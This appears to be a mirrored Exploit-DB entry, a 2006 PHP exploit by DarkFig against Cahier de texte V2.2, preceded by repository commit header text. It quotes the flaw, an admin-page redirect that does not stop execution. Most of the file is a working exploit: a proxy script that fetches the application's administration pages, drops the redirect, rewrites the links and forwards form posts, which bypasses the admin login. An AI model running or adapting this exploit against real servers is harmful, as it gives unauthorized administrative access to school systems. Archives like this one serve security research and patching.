exploit-db-mirror/platforms/php/webapps/3016.php
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit
phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities

My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

115 lines
3 KiB
PHP
Executable file

<?
/*
Informations
============
Affected.scr..: Cahier de texte V2.2 (last version)
Poc.ID........: 17061224
Type..........: Bypass general access restriction
Risk.level....: High
Conditions....: None
Src.download..: www.etab.ac-caen.fr/bsauveur/cahier_de_texte/
Poc.link......: acid-root.new.fr/poc/17061224.txt
Credits.......: DarkFig
Vulnerable code
===============
<?php session_start();
if (isset($_SESSION['nom_prof'])) {
if ($_SESSION['nom_prof']<>'Administrateur') { header("Location: ../index.php");}
;} else { header("Location: ../index.php");}?>
...
*/
if(!isset($_GET['host']) || empty($_GET['host'])) headers();
if(!isset($_GET['wanted'])) $wanted = 'index.php';
$host = $_GET['host'];
$prox = $_GET['prox'];
$path = $_GET['path'];
echo sockxp($host,$path,$prox,"administration/".$wanted);
exit(0);
function headers()
{
print("<html>
<head>
<title>Cahier de texte V2.2 Exploit</title>
</head>
<body>
<form method='get' action='".$_SERVER['PHP_SELF']."'>
<input type='text' name='host' value='host'>
<input type='text' name='path' value='path'>
<input type='text' name='prox' value='proxyhost:proxyport'>
<input type='submit' value='Exploit'>
</form>
</body>
</html>");
exit(0);
}
function sockxp($host,$path,$prox,$wanted)
{
$hope = !empty($prox) ? $prox : $host.':80';
preg_match("/^(\S*):([0-9]+){1,5}/",$hope,$hosta);
$hosh = $hosta[1];
$hosp = $hosta[2];
$recv = '';
$meth = $_SERVER['REQUEST_METHOD'];
if(empty($hosh) || empty($hosp)) exit(1);
if(!$sock = fsockopen($hosh,$hosp)) exit(1);
$dat = $meth." http://".$host;
if($meth === "POST") $dat .= "/".str_replace("administration//","",$wanted);
else $dat .= $path.$wanted;
$dat .= " HTTP/1.1\r\n";
$dat .= "Host: $host\r\n";
$dat .= "Connection: Close\r\n";
if($meth === "POST") {
$postdata = get_postdata();
$dat .= "Content-Type: application/x-www-form-urlencoded\r\n";
$dat .= "Content-Length: ".strlen($postdata)."\r\n\r\n";
$dat .= $postdata."\r\n\r\n";
} else {
$dat .= "\r\n";
}
fputs($sock,$dat);
while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);
return html_replace($recv);
}
function html_replace($htmlc)
{
global $host,$path,$prox;
$iniv = $_SERVER['PHP_SELF']."?host=$host&path=$path&prox=$prox&wanted=";
$newc = str_replace("action=\"","action=\"$iniv",$htmlc);
$newc = str_replace("=\"..","=\"http://${host}${path}administration/..",$newc);
$newc = str_replace("a href=\"","a href=\"$iniv",$newc);
$newc = str_replace("MM_goToURL('parent','","MM_goToURL('parent','$iniv",$newc);
$newc = explode("\n",$newc);
for($i=1;$i<count($newc);$i++) {
if(!preg_match("/(\S*):/",$newc[$i])) $v=1;
if($v) $nnewc .= $newc[$i]."\n";
}
return $nnewc;
}
function get_postdata()
{
$postdata = '';
foreach($_POST as $key => $value) {
$postdata .= $key."=".$value."&";
}
return $postdata;
}
?>
# milw0rm.com [2006-12-26]